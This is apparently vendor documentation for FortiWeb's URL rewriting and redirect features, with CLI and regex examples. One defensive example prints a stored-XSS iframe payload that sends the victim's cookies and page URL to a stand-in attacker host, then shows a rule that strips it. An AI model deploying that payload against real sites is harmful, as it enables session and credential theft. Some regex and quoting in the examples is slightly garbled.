Rewriting & redirecting

Rewriting or redirecting HTTP requests and responses is popular, and can be done for many reasons.

Similar to error message cloaking, URL rewriting can prevent the disclosure of underlying technology or website structures to HTTP clients.

For example, when visiting a blog web page, its URL might be:

http://www.example.com/wordpress/?feed=rss2

Simply knowing the file name, that the blog uses PHP, its compatible database types, and the names of parameters via the URL could help an attacker to craft an appropriate attack for that platform. By rewriting the URL to something more human-readable and less platform-specific, the details can be hidden:

http://www.example.com/rss2

Aside from security reasons, rewriting and redirects can be for aesthetic or business purposes, too. Financial institutions can transparently redirect customers that accidentally request HTTP:

http://bank.example.com/login

to authenticate and do transactions on their secured HTTPS site:

HTTPs://bank.example.com/login

Additional uses could include:

• During maintenance windows, requests can be redirected to a read-only server.
• International customers can use global URLs, with no need to configure the back-end web servers to respond to additional HTTP virtual host names.
• Shorter URLs with easy-to-remember phrases and formatting are easier for customers to understand, remember, and return to.

Much more than their name implies, “URL rewriting rules” can do all of those things, and more:

• Redirect HTTP requests to HTTPS
• Rewrite the URL line in the header of an HTTP request
• Rewrite the Host: field in the header of an HTTP request
• Rewrite the Referer: field in the header of an HTTP request
• Redirect requests to another website
• Send a 403 Forbidden response to a matching HTTP requests
• Rewrite the HTTP location line in the header of a matching redirect response from the web server
• Rewrite the body of an HTTP response from the web server

Rewrites/redirects are not supported in all modes. For details, see Supported features in each operation mode. FortiWeb cannot rewrite requests that exceed FortiWeb’s buffer size. To block requests that cannot be rewritten, configure Malformed Request.

Rewrites will work on single requests as well as those that have been fragmented using:

Tranfer-Encoding: chunked

To configure a rewriting/redirection rule

1. Go to Application Delivery > URL Rewriting and select the URL Rewriting Rule tab.
2. Click Create New.

The configuration options vary according to your settings in Action Type, and Request Action or Response Action.

3. In Name, type a name that can be referenced by other parts of the configuration. The maximum length is 63 characters.
4. In Action Type, select whether this rule will rewrite HTTP requests from clients (Request Action) or HTTP responses from the web server (Response Action).

The next step varies by your selection in this step.

5. If you selected Request Action in Action Type, in the Request Action drop-down list, select one of the following:

• Rewrite HTTP Header—Rewrites part(s) of the header in the HTTP request before passing it to the web server. Also configure these settings:

Replacement HTTP Method
HTTP Method	Enable to replace the original HTTP methods in a request with the specified method. Please avoid changing the method on the fly unless absolutely necessary. It is important to consider the potential implications and ensure that the server can handle the new method correctly.
Replacement URL
Host	Enable then type either a host name, such as store.example.com, or IP address if you want to replace the value of the Host: field in the header of HTTP requests. Requests will be redirected to this web host. This field supports back references such as $0 to the parts of the original request that matched any capture groups that you entered in Regular Expression for each object in the condition table. A capture group is a regular expression, or part of one, surrounded in parentheses. For details, see Regular expression syntax. For an example, see Example: Rewriting URLs using variables.
Using Physical Server	Enable to insert the variable FortiWeb_PSERVER in Host. At the time of each specific HTTP request, FortiWeb will replace this variable with the IP address of the physical server to which it is forwarding the request. Tip: Use this option when the Deployment Mode option in the server policies using this rule is either Server Balance or HTTP Content Routing. In such cases, by definition of load balancing, HTTP requests will be distributed among multiple web servers, and the specific IP addresses of the physical servers cannot be known in advance.
URL	Enable then type a string, such as /catalog/item1, if you want to replace the URL in the HTTP request. Do not include the name of the web host, such as www.example.com, nor the protocol. Like Host, this field supports back references such as $0 to the parts of the original request that matched any capture groups that you entered in Regular Expression for each object in the condition table. For details, see What are back-references?. For an example, see Example: Rewriting URLs using regular expressions. You can also insert the following variables: $CLIENT_IP: The client's IP address. $CLIENT_PORT: The port number of the client's request. $HOST: The host header from the request. This is useful for virtual host routing. $URL: The URL requested by the client. It doesn’t include arguments and path. $FULL_URL: The full URL requested by the client, including arguments and path. $UTC_STR: The UTC time string. This can be useful for logging, caching, or setting custom headers. $UTC_INT: The current UTC epoch time, an integer in seconds. It represents the number of seconds elapsed since the Unix epoch, which is January 1, 1970, 00:00:00 UTC. $ORIGIN_IP: The Real IP in x-forwarded-for header. If the real IP is unavailable, then the system will use CLIENT_IP. $VSERVER_IP: The Virtual IP of the virtual server. $VSERVER_PORT: The TCP port of the virtual server.
Replacement Referer
Referer	Enable then type a URI, such as http://www.example.com/index, if you want to rewrite the Referer: field in the HTTP header. This option is available only if Request Action is Rewrite HTTP Header.
Using Physical Server	Enable to insert the variable FortiWeb_PSERVER in Referer. At the time of each specific HTTP request, FortiWeb will replace this variable with the IP address of the physical server to which it is forwarding the request. Tip: Use this option when the Deployment Mode option in the server policies using this rule is either Server Balance or HTTP Content Routing. In such cases, by definition of load balancing, HTTP requests will be distributed among multiple web servers, and the specific IP addresses of the physical servers cannot be known in advance.
HTTP Header Insertion
Replace Existing Headers	If there is already a header with the same name existing in the request, enabling this option will overwrite the value of the existing header with your specified header value. On the other hand, if this option is disabled, the system will insert the header directly without checking if there is an existing header with the same header name.
Header Field Name	Enable to insert the name of the header field that you want to insert to a request, such as "Myheader". You can add up to 10 headers in the insertion list.
Header Field Value	Enable to insert the value of the header field that you specified in Header Field Name, such as "123". Then, the customized header Myheader: 123 will be inserted to the matched HTTP requests. You can also insert the following variables: $CLIENT_IP: The client's IP address. $CLIENT_PORT: The port number of the client's request. $HOST: The host header from the request. This is useful for virtual host routing. $URL: The URL requested by the client. It doesn’t include arguments and path. $FULL_URL: The full URL requested by the client, including arguments and path. $UTC_STR: The UTC time string. This can be useful for logging, caching, or setting custom headers. $UTC_INT: The current UTC epoch time, an integer in seconds. It represents the number of seconds elapsed since the Unix epoch, which is January 1, 1970, 00:00:00 UTC. $ORIGIN_IP: The Real IP in x-forwarded-for header. If the real IP is unavailable, then the system will use CLIENT_IP. $VSERVER_IP: The Virtual IP of the virtual server. $VSERVER_PORT: The TCP port of the virtual server.
HTTP Header Removal
Remove Duplicate Headers	If the system finds multiple items that match your specified header name, enabling this option will remove all of them. However, if this option is disabled, only the first matching item will be removed.
Header Field Name	Click the Add icon to add the name of the header field that you want to remove. Up to 10 header names can be added in the list.

• Rewrite HTTP Body—In Replacement, type the string that will replace content in the body of HTTP requests. For details, see What are back-references? and Cookbook regular expressions.
• Redirect (301 Permanently) or Redirect (302 Temporary)—In Location, type a URI, such as http://www.example.com/new-url, to use in the 301 Moved Permanently or the 302 Moved Temporarily redirection HTTP response from the FortiWeb appliance. Like Host and URL, this field supports back-references such as $0. For details, see What are back-references?.
  

• Send 403 Forbidden—Return a 403 Forbidden response to the client.

If you selected Response Action in Action Type, in the Response Action drop-down list, select one of the following:

• Rewrite HTTP Body—In Replacement, type the string that will replace content in the body of HTTP responses. For details, see What are back-references? and Cookbook regular expressions.
  

• Rewrite HTTP Header
  • In Replacement Status Code > Status Code, enter a status code to replace the original one in HTTP response.
  • In Replacement String > Location, enter the replacement value for the Location: field in the HTTP header when the HTTP response matches. Like Host and URL, this field supports back-references such as $0. For details, see What are back-references?.
  • In HTTP Header Insertion, type the Header name and value that you want to insert into the response HTTP header. You can add up to 10 headers in the insertion list.
    If there is already a header with the same name existing in the response, enabling Replace Existing Headers will overwrite the value of the existing header with your specified header value. On the other hand, if this option is disabled, the system will insert the header directly without checking if there is an existing header with the same header name.
  • In HTTP Header Removal, type the name of the header that you want to remove from the response HTTP header. You can add up to 10 headers in the removal list.
    If the system finds multiple items that match your specified header name, enabling Remove Duplicate Headers will remove all of them. However, if this option is disabled, only the first matching item will be removed.
    

    You can edit the value of a header by adding it in the removal list then inserting it with a different value.

Click OK.

Click Create New to add match conditions for the rule to URL Rewriting Condition Table.

Configure these settings:

Object	Select which part of the HTTP request will be tested for a match: HTTP Host—The Host: field in the HTTP header. This option does not appear if Response Action in If you selected Response Action in Action Type, in the Response Action drop-down list, select one of the following: was Rewrite HTTP Body. HTTP Request URL—The URL in the HTTP header. The URL can be up to 1,024 characters long, unless superseded by HTTP constraints such as Total URL Parameters Length. This option does not appear if Response Action in If you selected Response Action in Action Type, in the Response Action drop-down list, select one of the following: was Rewrite HTTP Body. HTTP Referer—The Referer: field in the HTTP header. This option appears only if Action Type in In Action Type, select whether this rule will rewrite HTTP requests from clients (Request Action) or HTTP responses from the web server (Response Action). was Request Action. This option does not appear if Response Action in If you selected Response Action in Action Type, in the Response Action drop-down list, select one of the following: was Rewrite HTTP Body. HTTP Body—The content of the request, such as an HTML document. This option appears only if Response Action in If you selected Response Action in Action Type, in the Response Action drop-down list, select one of the following: was Rewrite HTTP Body. HTTP Location—The Location: field in the header of the request. This option appears only if Response Action in If you selected Response Action in Action Type, in the Response Action drop-down list, select one of the following: was Rewrite HTTP Location. If the request must meet multiple conditions (for example, it must contain both a matching Host: field and a matching URL), add each condition to the condition table separately.
Regular Expression	Depending on your selection in Object and Meet this condition if, type a regular expression that defines either all matching or all non-matching objects. Also configure Meet this condition if.
	For example, for the URL rewriting rule to match all URLs that begin with /wordpress, you could enter ^/wordpress, then, in Meet this condition if, select Object matches the regular expression. The pattern is not required to begin with a slash ( / ). When you have finished typing the regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression. For details, see Regular expression syntax, What are back-references? and Cookbook regular expressions.
Protocol Filter	Enable if you want to match this condition only for either HTTP or HTTPS. Also configure Protocol. For example, you could redirect clients that accidentally request the login page by HTTP to a more secure HTTPS channel—but the redirect is not necessary for HTTPS requests. As another example, if URLs in HTTPS requests should be exempt from rewriting, you could configure the rewriting rule to apply only to HTTP requests.
Protocol	Select which protocol will match this condition, either HTTP or HTTPS. This option appears only if Protocol Filter is enabled.
Content Type Filter	Enable if you want to match this condition only for specific HTTP content types (also called Internet or MIME file types) such as text/html, as indicated in the Content-Type: HTTP header. Also configure Content Type Set.
Content Type Set	In the left text area, select one or more HTTP content types that you want to match this condition, then click the right arrow button to move them into the text area on the right side. This option is visible only if Content Type Filter is enabled.
Meet this condition if	Indicate how to use Regular Expression when determining whether or not this URL rewriting condition is met. Object does not match the regular expression—If the regular expression does not match the request object, the condition is met. Object matches the regular expression—If the regular expression does match the request object, the condition is met. If all conditions are met, the FortiWeb appliance executes the Request Action or Response Action, whichever you selected.

If you selected HTTP Referer from Object, also configure these settings:

If no Referer field in HTTP header

Select either: Do not meet this condition Meet this condition Requests can lack a Referer: field for several reasons, such as if the user manually types the URL, and the request does not result from a hyperlink from another website, or if the URL resulted from an HTTPS connection. In those cases, the field cannot be tested for a matching value. For details, see the RFC 2616 (http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html) section on the Referer: field. This option appears only if Object is HTTP Referer.

Click OK.

Repeat the previous two steps until you have defined all matching HTTP requests or responses that should be rewritten as defined in this rule.

Go to Application Delivery > URL Rewriting and select the URL Rewriting Policy tab.

To access this part of the web UI, your administrator’s account access profile must have Read and Write permission to items in the Web Protection Configuration category. For details, see Permissions.

Click Create New.

In Name, type a name that can be referenced by other parts of the configuration. The maximum length is 63 characters.

Click OK.

Click Create New.

From the Rewriting Rule Name drop-down list, select the name of an existing rewriting rule to add to the policy.

To view or change the information associated with the rule, click the icon. The URL Rewriting Rule dialog appears, and you can view and edit the rules here. Use your browser’s Back button to return.

Enable Continue Executing the Next Rule to run this rule together with the next rule, for instance, inserting a custom header together with rewriting a header. If disabled, only the first matched rule in the table will be executed.

Click OK.

Repeat the previous steps for each rule you want to add to the rewriting policy.

If you are rewriting a response from the web server, and it is compressed, configure a decompression rule so that FortiWeb will be able to rewrite. For details, see Compression.

To apply the rewriting policy, select it in an inline protection profile. For details, see Configuring a protection profile for inline topologies.

See also

• Rewriting & redirecting
• Example: HTTP-to-HTTPS redirect
• Example: Full host name/URL translation
• Example: Sanitizing poisoned HTML
• Example: Rewriting URLs using regular expressions
• Example: Rewriting URLs using variables
• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Example: HTTP-to-HTTPS redirect

Example.com is a business-oriented social media provider. Its clients require that attackers cannot fraudulently post comments. If an attacker can post while disguised as originating from the client’s business, as this could enable an attacker to ruin a business’s reputation.

To provide clients with protection from HTTP session hijacking tools such as Firesheep, Example.com wants to automatically redirect all HTTP requests to HTTPS. This way, before the client attempts to log in and exposes both their credentials and HTTP session ID to an eavesdropper, the response and subsequent requests are SSL/TLS encrypted, and thereby protected.

The Redirect HTTP to HTTPS option in the server policy configuration allows you to redirect all HTTP requests to equivalent URLs on a secure site.

Alternatively, you can create a rewriting rule that matches all HTTP requests, regardless of host name variations or URL, such as:

http://www.example.com/login

http://www.example.co.jp/

and redirects them to the equivalent URL on its secure sites:

HTTPs://www.example.com/login

HTTPs://www.example.co.jp/

This rewriting rule has 3 parts:

• Regular expression that matches HTTP requests with any host name—(.*)

This regular expression should not match HTTPS requests, since it would decrease performance to redirect requests that are already in HTTPS.

• Regular expression that matches requests with any URL in the HTTP header—^/(.*)$

• Redirect destination location that assembles the host name ($0) and URL ($1) from the request in front of the new protocol prefix, https://

  For details, see What are back-references?.

This could be configured via either the CLI or web UI.

CLI commands to implement this are:

config waf url-rewrite url-rewrite-rule

edit "HTTP_to_HTTPS"

set action redirect

set location "https://$0/$1"

set host-status disable

set host-use-pserver disable

set referer-status disable

set referer-use-pserver disable

set url-status disable

config match-condition

edit 1

set reg-exp "(.*)"

set protocol-filter enable

next

edit 2

set object HTTP-url

set reg-exp "^/(.*)$"

next

end

next

end

config waf url-rewrite url-rewrite-policy

edit "HTTP_to_HTTPS"

config rule

edit 1

set url-rewrite-rule-name "HTTP_to_HTTPS"

next

end

next

end

See also

• Example: Full host name/URL translation
• Rewriting & redirecting
• Example: Rewriting URLs using regular expressions
• Example: Rewriting URLs using variables
• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Example: Full host name/URL translation

www.example.com wants to translate its domain name: the external DNS name should be rewritten to the internal DNS name, and vice versa.

When the external DNS name www.example.com appears in the client’s request’s HTTP Host: header, it should be rewritten to www-internal.example.com.

In the server’s response traffic, when the internal DNS name www-internal.example.com appears in the Location: header, or in hyperlinks in the document body, it must be rewritten.

To do this, three rewriting rules and conditions must be created, one for each of part that FortiWeb must rewrite.

Example request host name rewrite

Object	HTTP Host
Regular Expression in URL match condition	www.example.com
Host	www-internal.example.com

Example response location rewrite

Object	HTTP Location
Regular Expression in URL match condition	(.*)www-internal.example.com(.*)
Location	$0www.example.com$1

Example response hyperlink rewrite

Object	HTTP Body
Regular Expression	www-internal.example.com
Replacement	www.example.com

See also

• Example: Rewriting URLs using regular expressions
• Example: Rewriting URLs using variables
• Rewriting & redirecting
• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Example: Sanitizing poisoned HTML

Example.com is a cloud hosting service provider that has just bought several FortiWeb appliances. Thousands of customers rely on it to maintain database-backed web servers. Before FortiWeb was added to its network, its web servers were regularly being attacked. Without HTTP-savvy intrusion detection and filtering, these posts poisoned many of its web applications by using XSS to inject stored clickjacking attacks into login pages.

Example.com wants to mitigate the effects of prior attacks to protect innocent clients while its incident response team finishes forensic work to audit all applications for impact and complete remediation. To do this, it will rewrite the body of offending responses.

Example.com’s incident response team has already found some of the poisoned HTML that is afflicting some login pages. All major web browsers are currently vulnerable.

It replaces the login pages of the web application with a hidden frame set which it uses to steal session or login cookies and spy on login attempts. The attacker can then use stolen login credentials or use the fraudulent session cookies. For bank clients, this is especially devastating: the attacker now has complete account access, including to credit cards.

To mitigate effects, example.com wants to scrub the malicious HTML from responses, before they reach clients that could unwittingly participate in attacks, or have their identities stolen.

To do this, FortiWeb will rewrite the injected attack:

<iframe src="javascript:document.location.href=

‘attacker.example.net/peep?url=‘+

parent.location.href.toString()+‘lulz=‘

escape(document.cookie);"

sandbox="allow-scripts allow-forms"

style="width:0%;height:0%;position:absolute;left:-9999em;">

</iframe>

into a null string to delete it from the infected web server’s response. FortiWeb will replace the attack with its own content:

<script src="http://irt.example.com/toDo.jss></script>

so that each infected response posts the infected host name, URL, and attack permutation to a “to do” list for the incident response team, as well as notifying the impacted customer.

Since attackers often try new attack forms to evade filters, the example regular expression will use a few techniques for flexible matching:

• case insensitivity—(?i)
• alternative quotation marks—["'`?“”„?‚’‘'?‹›«»]
• word breaks of zero or more white spaces—(\s)*
• word breaks using forward slashes instead of white space—[\s\/]*
• zero or more new line breaks within the tag—(\n|.)*

Example HTML body rewrite using regular expressions

Object	HTTP Body
Regular Expression	(?i)<(\s)*iframe[\s\/]*src=(\s)*["'`?“”„?‚’‘'?‹›«»]javascript:(\n|.)*</iframe>
Replacement	<script src="http://irt.example.com/toDo.jss></script>

Create a new URL rewriting rule:

Create a new URL rewriting condition in the rule:

Complete the replacement strings in body:

See also

• Defining custom data leak & attack signatures
• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Example: Inserting & deleting body text

Example.com wants to delete some text, and insert other text. As an example, it wants to change:

Hey everyone, this works!

to:

Hey, this works now!

To do this, it will rewrite matching parts of the body in the web server’s response.

The regular expression contains capture groups (.*) that create numbered substrings—back-references such as $0—that you can recall by their number when writing the replacement text. By omitting a capture group (in this case, $1 is omitted from Replacement), that part of the text is removed. To insert text, simply add it to the replacement text.

Example body rewrite using regular expressions

Object	HTTP Body
Regular Expression	(.*)(everyone), (.*)(works)!
Replacement	$0, $2 $3 now!

See also

• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Example: Rewriting URLs using regular expressions

Example.edu is a large university. Professors use a mixture of WordPress and Movable Type software for their course web pages to keep students updated. In addition, the campus bookstore and software store use custom shopping cart software. The URLs of these web applications contain clues about the underlying vendors, databases and scripting languages.

The university is a frequent target of attacks because it is a large organization with many mobile users and guests, and an Internet connection with large bandwidth. Its network administrators want to hide the underlying technology to make it more difficult for attackers to craft platform-specific attacks. Example.edu also wants to make clients’ bookmarked URLs more permanent, so that clients will not need to repair them if the university switches software vendors.

Because it has so many URLs, the university uses regular expressions to rewrite sets of similar URLs, rather than configuring rewrites for each URL individually. More specific URL rewrite rules are selected first in the URL rewriting group, before general ones, due to the affects of the matching order on which each rewrite rule is applied.

Example URL rewrites using regular expressions

Regular expression in URL match condition	URL	Example URL in client’s request	Result
^/cgi/python/ustore/payment.html$	/store/checkout	/cgi/python/ustore/payment.html	/store/checkout
^/ustore*$	/store/view	/ustore/viewItem.asp?id=1&img=2	/store/view
/Wordpress/(.*)	/blog/$0	/wordpress/10/11/24	/blog/10/11/24
/(.*)\.xml	/$0	/index.xml	/index

See also

• Example: HTTP-to-HTTPS redirect
• Example: Rewriting URLs using variables
• Rewriting & redirecting
• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Example: Rewriting URLs using variables

Example.com has a website that uses ASP, but the administrator wants it to appear that the website uses PHP. To do this, the administrator configured a rule that changes any requested file's extension which is asp into php.

The condition table contains two match conditions, in this order:

The Host: may be anything.

The request URL must end in .asp.

If both of those are true, the request is rewritten.

The administrator does not want to rewrite matching requests into a single URL. Instead, the administrator wants each rewritten URL to re-use parts of the original request.

To assemble the rewritten URL by re-using the original request’s file path and Host:, the administrator uses two back reference variables: $0 and $1. Each variable refers to a part of the original request. The parts are determined by which capture group was matched in the Regular Expression field of each condition table object.

• $0—The text that matched the first capture group (.*). In this case, because the object is the Host: field, the matching text is the host name, www.example.com.
• $1—The text that matched the second capture group, which is also (.*). In this case, because the object is the request URL, the matching text is the file path, news/local.

Example URL rewrites using regular expressions

Example request	URL Rewriting Condition Table		Replacement URL		Result
www.example.com	HTTP Host	(.*)	Host	$0	www.example.com
/news/local.asp	HTTP URL	/(.*)\.asp	URL	/$1.php	/news/local.php

See also

• Rewriting & redirecting
• Example: Rewriting URLs using regular expressions
• Example: HTTP-to-HTTPS redirect
• Regular expression syntax
• What are back-references?
• Cookbook regular expressions